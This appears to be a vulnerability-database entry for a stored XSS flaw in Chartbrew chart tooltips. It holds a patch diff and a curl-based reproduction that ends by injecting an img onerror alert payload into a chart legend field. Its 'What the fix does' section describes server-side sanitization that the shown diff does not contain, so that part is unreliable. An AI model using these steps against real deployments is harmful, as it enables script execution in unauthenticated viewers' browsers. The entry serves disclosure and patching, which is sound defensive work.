CVE-2026-41518
Description
Chartbrew versions 4.9.0-5.0.0 allow authenticated users to inject HTML/JS into chart tooltips, leading to XSS for unauthenticated viewers.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Chartbrew versions 4.9.0-5.0.0 allow authenticated users to inject HTML/JS into chart tooltips, leading to XSS for unauthenticated viewers.
Vulnerability
In Chartbrew versions 4.9.0 through 5.0.0, an authenticated user with project-editor permissions can store arbitrary HTML and JavaScript within the ChartDatasetConfig.legend field. This field lacks server-side validation or sanitization, allowing the payload to be persisted directly in the database. The vulnerability resides in ChartTooltip.js, where an unguarded innerHTML assignment injects the legend content into the tooltip DOM element [1].
Exploitation
An attacker requires project-editor permissions to inject a malicious HTML/JavaScript payload into the ChartDatasetConfig.legend field. This payload is then automatically rendered within the tooltip of a public dashboard. Any unauthenticated user viewing the public dashboard will trigger the JavaScript execution upon page load, without needing any specific interaction like hovering over the chart [1].
Impact
Successful exploitation allows an attacker to execute arbitrary HTML and JavaScript in the context of any unauthenticated viewer of a public dashboard. This can lead to various cross-site scripting (XSS) attacks, such as stealing sensitive information, session hijacking, or performing actions on behalf of the user, depending on the browser's security context and the specific payload delivered [1].
Mitigation
Chartbrew version 5.0.1 contains a fix for this vulnerability. Users are advised to upgrade to version 5.0.1 or later. No workarounds are specified in the available references [1].
AI Insight generated on Jun 4, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
18d17417920cf:lock: replaced innerHTML implementation in chart tooltips with DOM nodes and textContent
1 file changed · +74 −46
client/src/containers/Chart/components/ChartTooltip.js+74 −46 modified@@ -11,57 +11,83 @@ export const formatTotal = (value) => { return typeof value === "number" ? value.toLocaleString() : value; }; +const createTooltipTextElement = (tagName, className, text) => { + const element = document.createElement(tagName); + element.className = className; + element.textContent = text == null ? "" : String(text); + return element; +}; + +const parseTooltipBodyLine = (body, index) => { + if (typeof body === "string") { + if (body.includes(":")) { + const separatorIndex = body.indexOf(":"); + return { + category: body.slice(0, separatorIndex).trim(), + value: body.slice(separatorIndex + 1).trim(), + }; + } + + return { + category: `Series ${index + 1}`, + value: body.trim(), + }; + } + + return { + category: `Series ${index + 1}`, + value: body == null ? "" : String(body).trim(), + }; +}; + export const generateTooltipContent = (titleLines, bodyLines, labelColors, isCategoryChart) => { - let innerHtml = "<div class=\"py-1 px-1 z-50\">"; - - // Add title (label) - titleLines.forEach(title => { - innerHtml += `<span class="font-medium text-gray-900 dark:text-gray-100 text-xs dark:border-gray-700 pb-1">${title}</span>`; + const container = document.createElement("div"); + container.className = "py-1 px-1 z-50"; + + titleLines.forEach((title) => { + container.appendChild( + createTooltipTextElement( + "span", + "font-medium text-gray-900 dark:text-gray-100 text-xs dark:border-gray-700 pb-1", + title + ) + ); }); - // Add all data points bodyLines.forEach((body, i) => { if (!body) return; - - const colors = labelColors[i]; - let category, value; - // Handle different chart types and data formats - if (typeof body === "string") { - if (body.includes(":")) { - [category, value] = body.split(":"); - } else { - category = `Series ${i + 1}`; - value = body; - } - } else { - category = `Series ${i + 1}`; - value = body; - } - - // Trim whitespace from values - category = (category || "").trim(); - value = (value || "").trim(); - - // Use color based on chart type - const colorStyle = isCategoryChart - ? `background-color: ${colors.backgroundColor}` - : `background-color: ${colors.borderColor}`; - - innerHtml += ` - <div class="flex w-full items-center gap-x-2"> - <div class="h-2 w-2 flex-none rounded-full" style="${colorStyle}"></div> - <div class="flex w-full items-center justify-between gap-x-2 pr-1 text-xs"> - <span class="text-gray-500 dark:text-gray-400">${category}</span> - <span class="font-mono font-medium text-gray-700 dark:text-gray-300"> - ${formatTotal(value)} - </span> - </div> - </div>`; + const colors = labelColors[i] || {}; + const { category, value } = parseTooltipBodyLine(body, i); + const row = document.createElement("div"); + row.className = "flex w-full items-center gap-x-2"; + + const dot = document.createElement("div"); + dot.className = "h-2 w-2 flex-none rounded-full"; + dot.style.backgroundColor = isCategoryChart ? colors.backgroundColor : colors.borderColor; + + const content = document.createElement("div"); + content.className = "flex w-full items-center justify-between gap-x-2 pr-1 text-xs"; + + const categoryElement = createTooltipTextElement( + "span", + "text-gray-500 dark:text-gray-400", + category + ); + const valueElement = createTooltipTextElement( + "span", + "font-mono font-medium text-gray-700 dark:text-gray-300", + formatTotal(value) + ); + + content.appendChild(categoryElement); + content.appendChild(valueElement); + row.appendChild(dot); + row.appendChild(content); + container.appendChild(row); }); - - innerHtml += "</div>"; - return innerHtml; + + return container; }; export const tooltipPlugin = { @@ -86,7 +112,9 @@ export const tooltipPlugin = { const titleLines = tooltipModel.title || []; const bodyLines = tooltipModel.body.map(b => b.lines[0]); const isCategoryChart = context.tooltip.options.isCategoryChart; - tooltipEl.innerHTML = generateTooltipContent(titleLines, bodyLines, tooltipModel.labelColors, isCategoryChart); + tooltipEl.replaceChildren( + generateTooltipContent(titleLines, bodyLines, tooltipModel.labelColors, isCategoryChart) + ); } // Get window dimensions @@ -166,4 +194,4 @@ export const tooltipPlugin = { tooltipEl.style.opacity = "1"; }); } -}; \ No newline at end of file +};
Vulnerability mechanics
Root cause
"The `ChartDatasetConfig.legend` field lacks server-side validation or sanitization, allowing arbitrary HTML/JavaScript to be stored."
Attack vector
An authenticated user with project-editor permissions can inject malicious HTML/JavaScript into the `ChartDatasetConfig.legend` field [ref_id=1]. This payload is stored verbatim in the database and then rendered by Chart.js. The vulnerability is triggered when an unauthenticated viewer accesses a public dashboard, as the injected script executes on page load via an unguarded `innerHTML` assignment in `ChartTooltip.js` [ref_id=1]. No hover interaction is required for the exploit to execute.
Affected code
The vulnerability stems from the `ChartDatasetConfig.legend` field, which is defined as `DataTypes.TEXT` with no server-side validation in `server/models/models/chartdatasetconfig.js`. The unescaped value is then used in `ChartTooltip.js` where it is assigned to `tooltipEl.innerHTML` via the `generateTooltipContent()` function, leading to DOM XSS [ref_id=1].
What the fix does
Version 5.0.1 addresses the vulnerability by implementing proper input validation and sanitization for the `ChartDatasetConfig.legend` field. This prevents malicious HTML and JavaScript from being stored in the database and subsequently rendered in the tooltip DOM element, thereby closing the DOM XSS vulnerability [patch_id=4832862].
Preconditions
- authThe attacker must be authenticated with project-editor permissions.
- configThe target chart must be configured as public.
Reproduction
Authenticate and obtain JWT Token
JWT=$(curl -s -X POST http://localhost:4019/user/login \ -H "Content-Type: application/json" \ -d '{"email":"ccx@ccx.com","password":"Abcd1234!"}' | jq -r '.token') echo "JWT acquired: ${JWT:0:20}..."
Create a project
PROJECT_ID=$(curl -s -X POST http://localhost:4019/project \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $JWT" \ -d '{"team_id":1,"name":"XSS-PoC","brewName":"XSS_PoC_Demo"}' | jq -r '.id') echo "Project ID: $PROJECT_ID"
Wire data
CONN_ID=$(curl -s -X POST http://localhost:4019/team/1/connections \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"name\":\"demo\",\"type\":\"api\",\"host\":\"https://jsonplaceholder.typicode.com\",\"project_ids\":[$PROJECT_ID],\"team_id\":1}" \ | jq -r '.id')
# Dataset DS_ID=$(curl -s -X POST http://localhost:4019/team/1/datasets \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"team_id\":1,\"legend\":\"safe\",\"project_ids\":[$PROJECT_ID],\"xAxis\":\"root[].id\",\"yAxis\":\"root[].userId\",\"yAxisOperation\":\"none\"}" \ | jq -r '.id')
# Data request curl -s -X POST "http://localhost:4019/team/1/datasets/$DS_ID/dataRequests" \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"dataset_id\":$DS_ID,\"connection_id\":$CONN_ID,\"route\":\"/posts?_limit=5\",\"method\":\"GET\"}" > /dev/null
Create a bar chart
CHART_ID=$(curl -s -X POST "http://localhost:4019/project/$PROJECT_ID/chart" \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"project_id\":$PROJECT_ID,\"name\":\"XSS-Chart\",\"type\":\"bar\",\"onReport\":true,\"draft\":false}" \ | jq -r '.id') echo "Chart ID: $CHART_ID"
Inject simple XSS payload
curl -s -X POST "http://localhost:4019/project/$PROJECT_ID/chart/$CHART_ID/chart-dataset-config" \ -H "Content-Type: application/json" -H "Authorization: Bearer $JWT" \ -d "{\"chart_id\":$CHART_ID,\"dataset_id\":$DS_ID,\"legend\":\"<img src=x onerror=alert(document.domain)>\",\"datasetColor\":\"#3B82F6\",\"fill\":false}" \ | jq '.legend'
Run chart query to populate it with data
curl -s -X POST "http://localhost:4019/project/$PROJECT_ID/chart/$CHART_ID/query" \ -H "Authorization: Bearer $JWT" -d '{}' \ | jq '.chartData.data.datasets[0].label'
Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.